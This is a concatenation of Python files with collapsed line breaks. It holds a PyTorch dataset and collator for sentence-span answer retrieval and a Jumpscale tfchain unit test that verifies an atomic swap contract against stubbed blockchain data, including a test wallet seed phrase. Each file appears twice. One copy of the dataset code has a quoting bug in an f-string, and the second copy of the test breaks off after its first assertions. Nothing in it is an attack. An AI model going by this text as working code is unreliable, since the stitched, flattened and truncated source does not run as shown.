import os import json import torch from torch.utils.data import Dataset from collections import defaultdict from tqdm import tqdm def parse_id(doc_pass_sent_id): start_id, end_id = doc_pass_sent_id.split(':') id_list = start_id.split('-') doc_id = '-'.join(id_list[:-2]) pass_id = id_list[-2] sent_start_id = id_list[-1] sent_end_id = end_id.split('-')[-1] return doc_id, pass_id, sent_start_id, sent_end_id class AnswerDataset(Dataset): def __init__(self, collection_path, input_path): self.collection_path = collection_path self.input_path = input_path if self.input_path is not None: self.doc_ids = defaultdict(lambda: defaultdict(list)) self.seen_answers = set() with open(self.input_path, 'r') as f: for line in f: line = line.strip() if line: q_id, _, answer_id, rank, score, run_name = line.split() if answer_id in self.seen_answers: continue doc_id, pass_id, sent_start_id, sent_end_id = parse_id(answer_id) self.doc_ids[doc_id][pass_id].append((sent_start_id, sent_end_id)) self.seen_answers.add(answer_id) self.examples = [] for doc_id, doc_pass_ids in self.doc_ids.items(): doc_path = os.path.join(self.collection_path, f'{doc_id}.json') with open(doc_path) as f: doc = json.load(f) passage_lookup = {c['context_id']: c for c in doc['contexts']} for pass_id, sent_spans in doc_pass_ids.items(): passage = passage_lookup[f'{doc_id}-{pass_id}'] for sent_start_id, sent_end_id in sent_spans: sent_start_idx = int(sent_start_id[1:]) sent_end_idx = int(sent_end_id[1:]) sentences = passage['sentences'][sent_start_idx:sent_end_idx+1] text = passage['text'][sentences[0]['start']:sentences[-1]['end']] example = { 'id': f'{doc_id}-{pass_id}-{sent_start_id}:{doc_id}-{pass_id}-{sent_end_id}', 'text': text } self.examples.append(example) else: self.examples = [] with open(self.collection_path, 'r') as f: for line in f: line = line.strip() if line: passage = json.loads(line) sentences = passage['sentences'] start_sentence = sentences[0] end_sentence = sentences[-1] text = passage['text'][start_sentence['start']:end_sentence['end']] example = { 'id': f'{start_sentence['sentence_id']}:{end_sentence['sentence_id']}', 'text': text } self.examples.append(example) def __len__(self): return len(self.examples) def __getitem__(self, idx): if torch.is_tensor(idx): idx = idx.tolist() example = self.examples[idx] return example class PredictionBatchCollator(object): def __init__(self, tokenizer, max_seq_len: int, force_max_seq_len: bool): super().__init__() self.tokenizer = tokenizer self.max_seq_len = max_seq_len self.force_max_seq_len = force_max_seq_len def __call__(self, examples): # creates text examples ids = [] sequences = [] for ex in examples: ids.append(ex['id']) text = ex['text'] sequences.append(f'{text} </s>') # "input_ids": batch["input_ids"].to(device), # "attention_mask": batch["attention_mask"].to(device), tokenizer_batch = self.tokenizer.batch_encode_plus( batch_text_or_text_pairs=sequences, padding='max_length' if self.force_max_seq_len else 'longest', return_tensors='pt', truncation=True, max_length=self.max_seq_len ) batch = { 'id': ids, 'input_ids': tokenizer_batch['input_ids'], 'attention_mask': tokenizer_batch['attention_mask'], } return batch
import os import json import torch from torch.utils.data import Dataset from collections import defaultdict from tqdm import tqdm def parse_id(doc_pass_sent_id): start_id, end_id = doc_pass_sent_id.split(':') id_list = start_id.split('-') doc_id = '-'.join(id_list[:-2]) pass_id = id_list[-2] sent_start_id = id_list[-1] sent_end_id = end_id.split('-')[-1] return doc_id, pass_id, sent_start_id, sent_end_id class AnswerDataset(Dataset): def __init__(self, collection_path, input_path): self.collection_path = collection_path self.input_path = input_path if self.input_path is not None: self.doc_ids = defaultdict(lambda: defaultdict(list)) self.seen_answers = set() with open(self.input_path, 'r') as f: for line in f: line = line.strip() if line: q_id, _, answer_id, rank, score, run_name = line.split() if answer_id in self.seen_answers: continue doc_id, pass_id, sent_start_id, sent_end_id = parse_id(answer_id) self.doc_ids[doc_id][pass_id].append((sent_start_id, sent_end_id)) self.seen_answers.add(answer_id) self.examples = [] for doc_id, doc_pass_ids in self.doc_ids.items(): doc_path = os.path.join(self.collection_path, f'{doc_id}.json') with open(doc_path) as f: doc = json.load(f) passage_lookup = {c['context_id']: c for c in doc['contexts']} for pass_id, sent_spans in doc_pass_ids.items(): passage = passage_lookup[f'{doc_id}-{pass_id}'] for sent_start_id, sent_end_id in sent_spans: sent_start_idx = int(sent_start_id[1:]) sent_end_idx = int(sent_end_id[1:]) sentences = passage['sentences'][sent_start_idx:sent_end_idx+1] text = passage['text'][sentences[0]['start']:sentences[-1]['end']] example = { 'id': f'{doc_id}-{pass_id}-{sent_start_id}:{doc_id}-{pass_id}-{sent_end_id}', 'text': text } self.examples.append(example) else: self.examples = [] with open(self.collection_path, 'r') as f: for line in f: line = line.strip() if line: passage = json.loads(line) sentences = passage['sentences'] start_sentence = sentences[0] end_sentence = sentences[-1] text = passage['text'][start_sentence['start']:end_sentence['end']] example = { 'id': f'{start_sentence["sentence_id"]}:{end_sentence["sentence_id"]}', 'text': text } self.examples.append(example) def __len__(self): return len(self.examples) def __getitem__(self, idx): if torch.is_tensor(idx): idx = idx.tolist() example = self.examples[idx] return example class PredictionBatchCollator(object): def __init__(self, tokenizer, max_seq_len: int, force_max_seq_len: bool): super().__init__() self.tokenizer = tokenizer self.max_seq_len = max_seq_len self.force_max_seq_len = force_max_seq_len def __call__(self, examples): # creates text examples ids = [] sequences = [] for ex in examples: ids.append(ex['id']) text = ex['text'] sequences.append(f'{text} </s>') # "input_ids": batch["input_ids"].to(device), # "attention_mask": batch["attention_mask"].to(device), tokenizer_batch = self.tokenizer.batch_encode_plus( batch_text_or_text_pairs=sequences, padding='max_length' if self.force_max_seq_len else 'longest', return_tensors='pt', truncation=True, max_length=self.max_seq_len ) batch = { 'id': ids, 'input_ids': tokenizer_batch['input_ids'], 'attention_mask': tokenizer_batch['attention_mask'], } return batch
from Jumpscale import j import pytest from JumpscaleLibs.clients.tfchain.stub.ExplorerClientStub import TFChainExplorerGetClientStub from JumpscaleLibs.clients.tfchain.test_utils import cleanup def main(self): """ to run: kosmos 'j.clients.tfchain.test(name="atomicswap_verify_sender")' """ cleanup("test_unittest_client") # create a tfchain client for devnet c = j.clients.tfchain.new("test_unittest_client", network_type="TEST") # (we replace internal client logic with custom logic as to ensure we can test without requiring an active network) explorer_client = TFChainExplorerGetClientStub() # add the blockchain info explorer_client.chain_info = '{"blockid":"5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8","difficulty":"30203","estimatedactivebs":"2365","height":16639,"maturitytimestamp":1549646167,"target":[0,2,43,120,39,20,204,42,102,32,125,110,53,77,39,71,99,124,13,223,197,154,115,42,126,62,185,120,208,177,21,190],"totalcoins":"0","arbitrarydatatotalsize":4328,"minerpayoutcount":16721,"transactioncount":17262,"coininputcount":633,"coinoutputcount":1225,"blockstakeinputcount":16639,"blockstakeoutputcount":16640,"minerfeecount":622,"arbitrarydatacount":572}' explorer_client.hash_add( "5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8", '{"hashtype":"blockid","block":{"minerpayoutids":["84b378d60cbdd78430b39c8eddf226119b6f28256388557dd15f0b046bf3c3ed"],"transactions":[{"id":"9aec9f849e35f0bdd14c5ea9daed20c8fbfa09f5a6771bb46ce787eb7e2b00a0","height":16639,"parent":"5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8","rawtransaction":{"version":1,"data":{"coininputs":null,"blockstakeinputs":[{"parentid":"144b2b7711fda335cdae5865ab3729d641266087bc4e088d9fba806345045903","fulfillment":{"type":1,"data":{"publickey":"ed25519:d285f92d6d449d9abb27f4c6cf82713cec0696d62b8c123f1627e054dc6d7780","signature":"f09af1c62026aed18d1d8f80e5a7bd4947a6cb5b6b69097c5b10cb983f0d729662c511a4852fa63690884e2b5c600e3935e08b81aaa757d9f0eb740292ec8309"}}}],"blockstakeoutputs":[{"value":"3000","condition":{"type":1,"data":{"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}}}],"minerfees":null}},"coininputoutputs":null,"coinoutputids":null,"coinoutputunlockhashes":null,"blockstakeinputoutputs":[{"value":"3000","condition":{"type":1,"data":{"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}},"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}],"blockstakeoutputids":["83aa29b3e77f703526e28fbc0d2bfcf2b66c06b665e11cb5535b9575fd0e8105"],"blockstakeunlockhashes":["015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"],"unconfirmed":false}],"rawblock":{"parentid":"8485f94209bf3e01ed169244ab2072ebb0d1c5dc589c95b39a3fbab3641b7a7e","timestamp":1549646257,"pobsindexes":{"BlockHeight":16638,"TransactionIndex":0,"OutputIndex":0},"minerpayouts":[{"value":"10000000000","unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}],"transactions":[{"version":1,"data":{"coininputs":null,"blockstakeinputs":[{"parentid":"144b2b7711fda335cdae5865ab3729d641266087bc4e088d9fba806345045903","fulfillment":{"type":1,"data":{"publickey":"ed25519:d285f92d6d449d9abb27f4c6cf82713cec0696d62b8c123f1627e054dc6d7780","signature":"f09af1c62026aed18d1d8f80e5a7bd4947a6cb5b6b69097c5b10cb983f0d729662c511a4852fa63690884e2b5c600e3935e08b81aaa757d9f0eb740292ec8309"}}}],"blockstakeoutputs":[{"value":"3000","condition":{"type":1,"data":{"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}}}],"minerfees":null}}]},"blockid":"5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8","difficulty":"30203","estimatedactivebs":"2365","height":16639,"maturitytimestamp":1549646167,"target":[0,2,43,120,39,20,204,42,102,32,125,110,53,77,39,71,99,124,13,223,197,154,115,42,126,62,185,120,208,177,21,190],"totalcoins":"0","arbitrarydatatotalsize":4328,"minerpayoutcount":16721,"transactioncount":17262,"coininputcount":633,"coinoutputcount":1225,"blockstakeinputcount":16639,"blockstakeoutputcount":16640,"minerfeecount":622,"arbitrarydatacount":572},"blocks":null,"transaction":{"id":"0000000000000000000000000000000000000000000000000000000000000000","height":0,"parent":"0000000000000000000000000000000000000000000000000000000000000000","rawtransaction":{"version":0,"data":{"coininputs":[],"minerfees":null}},"coininputoutputs":null,"coinoutputids":null,"coinoutputunlockhashes":null,"blockstakeinputoutputs":null,"blockstakeoutputids":null,"blockstakeunlockhashes":null,"unconfirmed":false},"transactions":null,"multisigaddresses":null,"unconfirmed":false}', ) # override internal functionality, as to use our stub client c._explorer_get = explorer_client.explorer_get c._explorer_post = explorer_client.explorer_post # a wallet is required to initiate an atomic swap contract w = c.wallets.new( "mytestwallet", seed="remain solar kangaroo welcome clean object friend later bounce strong ship lift hamster afraid you super dolphin warm emotion curve smooth kiss stem diet", ) # one can verify that its transaction is sent as sender, # not super useful, but it does also contain an optional check to know if it is already refundable # verification will fail if the contract could not be found with pytest.raises(j.clients.tfchain.errors.AtomicSwapContractNotFound): w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890") # add the coin output info of the submitted atomic swap contract explorer_client.hash_add( "023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", '{"hashtype":"coinoutputid","block":{"minerpayoutids":null,"transactions":null,"rawblock":{"parentid":"0000000000000000000000000000000000000000000000000000000000000000","timestamp":0,"pobsindexes":{"BlockHeight":0,"TransactionIndex":0,"OutputIndex":0},"minerpayouts":null,"transactions":null},"blockid":"0000000000000000000000000000000000000000000000000000000000000000","difficulty":"0","estimatedactivebs":"0","height":0,"maturitytimestamp":0,"target":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"totalcoins":"0","arbitrarydatatotalsize":0,"minerpayoutcount":0,"transactioncount":0,"coininputcount":0,"coinoutputcount":0,"blockstakeinputcount":0,"blockstakeoutputcount":0,"minerfeecount":0,"arbitrarydatacount":0},"blocks":null,"transaction":{"id":"0000000000000000000000000000000000000000000000000000000000000000","height":0,"parent":"0000000000000000000000000000000000000000000000000000000000000000","rawtransaction":{"version":0,"data":{"coininputs":[],"minerfees":null}},"coininputoutputs":null,"coinoutputids":null,"coinoutputunlockhashes":null,"blockstakeinputoutputs":null,"blockstakeoutputids":null,"blockstakeunlockhashes":null,"unconfirmed":false},"transactions":[{"id":"4a7ac7930379675c82d0462a86e6d6f4018bdb2bdabaf49f4c177b8de19b4e7c","height":16930,"parent":"c25f345403080b8372a38f66608aa5a2287bdc61b82efe5ee6503ce85e8bcd35","rawtransaction":{"version":1,"data":{"coininputs":[{"parentid":"753aaeaa0c9e6c9f1f8da1974c83d8ca067ad536f464a2e2fc038bbd0404d084","fulfillment":{"type":1,"data":{"publickey":"ed25519:e4f55bc46b5feb37c03a0faa2d624a9ee1d0deb5059aaa9625d8b4f60f29bcab","signature":"b5081e41797f53233c727c344698400a73f2cdd364e241df915df413d3eeafb425ce9b51de3731bcbf830c399a706f4d24ae7066f947a4a36ae1b25415bcde00"}}}],"coinoutputs":[{"value":"50000000000","condition":{"type":2,"data":{"sender":"01b73c4e869b6167abe6180ebe7a907f56e0357b4a2f65eb53d22baad84650eb62fce66ba036d0","receiver":"01746b199781ea316a44183726f81e0734d93e7cefc18e9a913989821100aafa33e6eb7343fa8c","hashedsecret":"4163d4b31a1708cd3bb95a0a8117417bdde69fd1132909f92a8ec1e3fe2ccdba","timelock":1549736249}}}],"minerfees":["1000000000"]}},"coininputoutputs":[{"value":"51000000000","condition":{"type":1,"data":{"unlockhash":"01b73c4e869b6167abe6180ebe7a907f56e0357b4a2f65eb53d22baad84650eb62fce66ba036d0"}},"unlockhash":"01b73c4e869b6167abe6180ebe7a907f56e0357b4a2f65eb53d22baad84650eb62fce66ba036d0"}],"coinoutputids":["023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890"],"coinoutputunlockhashes":["02fb27c67c373c2f30611e0b98bf92ed6e6eb0a69b471457b282903945180cd5c5b8068731f767"],"blockstakeinputoutputs":null,"blockstakeoutputids":null,"blockstakeunlockhashes":null,"unconfirmed":false}],"multisigaddresses":null,"unconfirmed":false}', ) # one can verify it all manually contract = w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890") assert contract.outputid == "023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890" assert contract.amount == "50 TFT" assert contract.refund_timestamp == 1549736249 assert contract.sender == "01b73c4e869b6167abe6180ebe7a907f56e0357b4a2f65eb53d22baad84650eb62fce66ba036d0" assert contract.receiver == "01746b199781ea316a44183726f81e0734d93e7cefc18e9a913989821100aafa33e6eb7343fa8c" assert contract.secret_hash == "4163d4b31a1708cd3bb95a0a8117417bdde69fd1132909f92a8ec1e3fe2ccdba" # the amount can however be verified automatically w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", amount=50) # which will fail if the amount is wrong with pytest.raises(j.clients.tfchain.errors.AtomicSwapContractInvalid): w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", amount=42) # the secret hash can be verified as well, not so important as the sender, # would be more used if one is the receiver, but it is possible none the less. w.atomicswap.verify( "023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", secret_hash="4163d4b31a1708cd3bb95a0a8117417bdde69fd1132909f92a8ec1e3fe2ccdba", ) # which will fail if the secret hash is wrong with pytest.raises(j.clients.tfchain.errors.AtomicSwapContractInvalid): w.atomicswap.verify( "023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", secret_hash="4163d4b31a1708cd3bb95a0a8117417bdde69fd1132909f92a8ec1e3fe2ccdbb", ) # a minimum duration can also be defined, where the duration defines how long it takes until the # contract becomes refundable, 0 if already assumed to be refundable w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", min_refund_time="+1d") # which will fail if assumed wrong with pytest.raises(j.clients.tfchain.errors.AtomicSwapContractInvalid): w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", min_refund_time=0) # if one is assumed to be the sender, it can also be verified automatically w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", sender=True) # if one assumed its position wrong, it will however fail with pytest.raises(j.clients.tfchain.errors.AtomicSwapContractInvalid): w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", receiver=True) # all can be verified at once of course w.atomicswap.verify( "023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", amount=50, secret_hash="4163d4b31a1708cd3bb95a0a8117417bdde69fd1132909f92a8ec1e3fe2ccdba", min_refund_time="+1d", sender=True, ) # once the refund time has been reached, it does become refundable, and min_refund_time=0 should validate correctly explorer_client.hash_add( "5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8", '{"hashtype":"blockid","block":{"minerpayoutids":["84b378d60cbdd78430b39c8eddf226119b6f28256388557dd15f0b046bf3c3ed"],"transactions":[{"id":"9aec9f849e35f0bdd14c5ea9daed20c8fbfa09f5a6771bb46ce787eb7e2b00a0","height":16639,"parent":"5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8","rawtransaction":{"version":1,"data":{"coininputs":null,"blockstakeinputs":[{"parentid":"144b2b7711fda335cdae5865ab3729d641266087bc4e088d9fba806345045903","fulfillment":{"type":1,"data":{"publickey":"ed25519:d285f92d6d449d9abb27f4c6cf82713cec0696d62b8c123f1627e054dc6d7780","signature":"f09af1c62026aed18d1d8f80e5a7bd4947a6cb5b6b69097c5b10cb983f0d729662c511a4852fa63690884e2b5c600e3935e08b81aaa757d9f0eb740292ec8309"}}}],"blockstakeoutputs":[{"value":"3000","condition":{"type":1,"data":{"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}}}],"minerfees":null}},"coininputoutputs":null,"coinoutputids":null,"coinoutputunlockhashes":null,"blockstakeinputoutputs":[{"value":"3000","condition":{"type":1,"data":{"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}},"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}],"blockstakeoutputids":["83aa29b3e77f703526e28fbc0d2bfcf2b66c06b665e11cb5535b9575fd0e8105"],"blockstakeunlockhashes":["015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"],"unconfirmed":false}],"rawblock":{"parentid":"8485f94209bf3e01ed169244ab2072ebb0d1c5dc589c95b39a3fbab3641b7a7e","timestamp":1549791703,"pobsindexes":{"BlockHeight":16638,"TransactionIndex":0,"OutputIndex":0},"minerpayouts":[{"value":"10000000000","unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}],"transactions":[{"version":1,"data":{"coininputs":null,"blockstakeinputs":[{"parentid":"144b2b7711fda335cdae5865ab3729d641266087bc4e088d9fba806345045903","fulfillment":{"type":1,"data":{"publickey":"ed25519:d285f92d6d449d9abb27f4c6cf82713cec0696d62b8c123f1627e054dc6d7780","signature":"f09af1c62026aed18d1d8f80e5a7bd4947a6cb5b6b69097c5b10cb983f0d729662c511a4852fa63690884e2b5c600e3935e08b81aaa757d9f0eb740292ec8309"}}}],"blockstakeoutputs":[{"value":"3000","condition":{"type":1,"data":{"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}}}],"minerfees":null}}]},"blockid":"5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8","difficulty":"30203","estimatedactivebs":"2365","height":16639,"maturitytimestamp":1549646167,"target":[0,2,43,120,39,20,204,42,102,32,125,110,53,77,39,71,99,124,13,223,197,154,115,42,126,62,185,120,208,177,21,190],"totalcoins":"0","arbitrarydatatotalsize":4328,"minerpayoutcount":16721,"transactioncount":17262,"coininputcount":633,"coinoutputcount":1225,"blockstakeinputcount":16639,"blockstakeoutputcount":16640,"minerfeecount":622,"arbitrarydatacount":572},"blocks":null,"transaction":{"id":"0000000000000000000000000000000000000000000000000000000000000000","height":0,"parent":"0000000000000000000000000000000000000000000000000000000000000000","rawtransaction":{"version":0,"data":{"coininputs":[],"minerfees":null}},"coininputoutputs":null,"coinoutputids":null,"coinoutputunlockhashes":null,"blockstakeinputoutputs":null,"blockstakeoutputids":null,"blockstakeunlockhashes":null,"unconfirmed":false},"transactions":null,"multisigaddresses":null,"unconfirmed":false}', force=True, ) # we should be able to refund at this point w.atomicswap.verify( "023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", amount=50, secret_hash="4163d4b31a1708cd3bb95a0a8117417bdde69fd1132909f92a8ec1e3fe2ccdba", min_refund_time=0, sender=True, ) c.wallets.delete() c.delete()
from Jumpscale import j import pytest from JumpscaleLibs.clients.tfchain.stub.ExplorerClientStub import TFChainExplorerGetClientStub from JumpscaleLibs.clients.tfchain.test_utils import cleanup def main(self): """ to run: kosmos 'j.clients.tfchain.test(name="atomicswap_verify_sender")' """ cleanup("test_unittest_client") # create a tfchain client for devnet c = j.clients.tfchain.new("test_unittest_client", network_type="TEST") # (we replace internal client logic with custom logic as to ensure we can test without requiring an active network) explorer_client = TFChainExplorerGetClientStub() # add the blockchain info explorer_client.chain_info = '{"blockid":"5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8","difficulty":"30203","estimatedactivebs":"2365","height":16639,"maturitytimestamp":1549646167,"target":[0,2,43,120,39,20,204,42,102,32,125,110,53,77,39,71,99,124,13,223,197,154,115,42,126,62,185,120,208,177,21,190],"totalcoins":"0","arbitrarydatatotalsize":4328,"minerpayoutcount":16721,"transactioncount":17262,"coininputcount":633,"coinoutputcount":1225,"blockstakeinputcount":16639,"blockstakeoutputcount":16640,"minerfeecount":622,"arbitrarydatacount":572}' explorer_client.hash_add( "5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8", '{"hashtype":"blockid","block":{"minerpayoutids":["84b378d60cbdd78430b39c8eddf226119b6f28256388557dd15f0b046bf3c3ed"],"transactions":[{"id":"9aec9f849e35f0bdd14c5ea9daed20c8fbfa09f5a6771bb46ce787eb7e2b00a0","height":16639,"parent":"5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8","rawtransaction":{"version":1,"data":{"coininputs":null,"blockstakeinputs":[{"parentid":"144b2b7711fda335cdae5865ab3729d641266087bc4e088d9fba806345045903","fulfillment":{"type":1,"data":{"publickey":"ed25519:d285f92d6d449d9abb27f4c6cf82713cec0696d62b8c123f1627e054dc6d7780","signature":"f09af1c62026aed18d1d8f80e5a7bd4947a6cb5b6b69097c5b10cb983f0d729662c511a4852fa63690884e2b5c600e3935e08b81aaa757d9f0eb740292ec8309"}}}],"blockstakeoutputs":[{"value":"3000","condition":{"type":1,"data":{"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}}}],"minerfees":null}},"coininputoutputs":null,"coinoutputids":null,"coinoutputunlockhashes":null,"blockstakeinputoutputs":[{"value":"3000","condition":{"type":1,"data":{"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}},"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}],"blockstakeoutputids":["83aa29b3e77f703526e28fbc0d2bfcf2b66c06b665e11cb5535b9575fd0e8105"],"blockstakeunlockhashes":["015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"],"unconfirmed":false}],"rawblock":{"parentid":"8485f94209bf3e01ed169244ab2072ebb0d1c5dc589c95b39a3fbab3641b7a7e","timestamp":1549646257,"pobsindexes":{"BlockHeight":16638,"TransactionIndex":0,"OutputIndex":0},"minerpayouts":[{"value":"10000000000","unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}],"transactions":[{"version":1,"data":{"coininputs":null,"blockstakeinputs":[{"parentid":"144b2b7711fda335cdae5865ab3729d641266087bc4e088d9fba806345045903","fulfillment":{"type":1,"data":{"publickey":"ed25519:d285f92d6d449d9abb27f4c6cf82713cec0696d62b8c123f1627e054dc6d7780","signature":"f09af1c62026aed18d1d8f80e5a7bd4947a6cb5b6b69097c5b10cb983f0d729662c511a4852fa63690884e2b5c600e3935e08b81aaa757d9f0eb740292ec8309"}}}],"blockstakeoutputs":[{"value":"3000","condition":{"type":1,"data":{"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}}}],"minerfees":null}}]},"blockid":"5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8","difficulty":"30203","estimatedactivebs":"2365","height":16639,"maturitytimestamp":1549646167,"target":[0,2,43,120,39,20,204,42,102,32,125,110,53,77,39,71,99,124,13,223,197,154,115,42,126,62,185,120,208,177,21,190],"totalcoins":"0","arbitrarydatatotalsize":4328,"minerpayoutcount":16721,"transactioncount":17262,"coininputcount":633,"coinoutputcount":1225,"blockstakeinputcount":16639,"blockstakeoutputcount":16640,"minerfeecount":622,"arbitrarydatacount":572},"blocks":null,"transaction":{"id":"0000000000000000000000000000000000000000000000000000000000000000","height":0,"parent":"0000000000000000000000000000000000000000000000000000000000000000","rawtransaction":{"version":0,"data":{"coininputs":[],"minerfees":null}},"coininputoutputs":null,"coinoutputids":null,"coinoutputunlockhashes":null,"blockstakeinputoutputs":null,"blockstakeoutputids":null,"blockstakeunlockhashes":null,"unconfirmed":false},"transactions":null,"multisigaddresses":null,"unconfirmed":false}', ) # override internal functionality, as to use our stub client c._explorer_get = explorer_client.explorer_get c._explorer_post = explorer_client.explorer_post # a wallet is required to initiate an atomic swap contract w = c.wallets.new( "mytestwallet", seed="remain solar kangaroo welcome clean object friend later bounce strong ship lift hamster afraid you super dolphin warm emotion curve smooth kiss stem diet", ) # one can verify that its transaction is sent as sender, # not super useful, but it does also contain an optional check to know if it is already refundable # verification will fail if the contract could not be found with pytest.raises(j.clients.tfchain.errors.AtomicSwapContractNotFound): w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890") # add the coin output info of the submitted atomic swap contract explorer_client.hash_add( "023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", '{"hashtype":"coinoutputid","block":{"minerpayoutids":null,"transactions":null,"rawblock":{"parentid":"0000000000000000000000000000000000000000000000000000000000000000","timestamp":0,"pobsindexes":{"BlockHeight":0,"TransactionIndex":0,"OutputIndex":0},"minerpayouts":null,"transactions":null},"blockid":"0000000000000000000000000000000000000000000000000000000000000000","difficulty":"0","estimatedactivebs":"0","height":0,"maturitytimestamp":0,"target":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"totalcoins":"0","arbitrarydatatotalsize":0,"minerpayoutcount":0,"transactioncount":0,"coininputcount":0,"coinoutputcount":0,"blockstakeinputcount":0,"blockstakeoutputcount":0,"minerfeecount":0,"arbitrarydatacount":0},"blocks":null,"transaction":{"id":"0000000000000000000000000000000000000000000000000000000000000000","height":0,"parent":"0000000000000000000000000000000000000000000000000000000000000000","rawtransaction":{"version":0,"data":{"coininputs":[],"minerfees":null}},"coininputoutputs":null,"coinoutputids":null,"coinoutputunlockhashes":null,"blockstakeinputoutputs":null,"blockstakeoutputids":null,"blockstakeunlockhashes":null,"unconfirmed":false},"transactions":[{"id":"4a7ac7930379675c82d0462a86e6d6f4018bdb2bdabaf49f4c177b8de19b4e7c","height":16930,"parent":"c25f345403080b8372a38f66608aa5a2287bdc61b82efe5ee6503ce85e8bcd35","rawtransaction":{"version":1,"data":{"coininputs":[{"parentid":"753aaeaa0c9e6c9f1f8da1974c83d8ca067ad536f464a2e2fc038bbd0404d084","fulfillment":{"type":1,"data":{"publickey":"ed25519:e4f55bc46b5feb37c03a0faa2d624a9ee1d0deb5059aaa9625d8b4f60f29bcab","signature":"b5081e41797f53233c727c344698400a73f2cdd364e241df915df413d3eeafb425ce9b51de3731bcbf830c399a706f4d24ae7066f947a4a36ae1b25415bcde00"}}}],"coinoutputs":[{"value":"50000000000","condition":{"type":2,"data":{"sender":"01b73c4e869b6167abe6180ebe7a907f56e0357b4a2f65eb53d22baad84650eb62fce66ba036d0","receiver":"01746b199781ea316a44183726f81e0734d93e7cefc18e9a913989821100aafa33e6eb7343fa8c","hashedsecret":"4163d4b31a1708cd3bb95a0a8117417bdde69fd1132909f92a8ec1e3fe2ccdba","timelock":1549736249}}}],"minerfees":["1000000000"]}},"coininputoutputs":[{"value":"51000000000","condition":{"type":1,"data":{"unlockhash":"01b73c4e869b6167abe6180ebe7a907f56e0357b4a2f65eb53d22baad84650eb62fce66ba036d0"}},"unlockhash":"01b73c4e869b6167abe6180ebe7a907f56e0357b4a2f65eb53d22baad84650eb62fce66ba036d0"}],"coinoutputids":["023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890"],"coinoutputunlockhashes":["02fb27c67c373c2f30611e0b98bf92ed6e6eb0a69b471457b282903945180cd5c5b8068731f767"],"blockstakeinputoutputs":null,"blockstakeoutputids":null,"blockstakeunlockhashes":null,"unconfirmed":false}],"multisigaddresses":null,"unconfirmed":false}', ) # one can verify it all manually contract = w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890") assert contract.outputid == "023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890" assert contract.amount == "50 TFT" assert contract.refund_timestamp == 1549736249 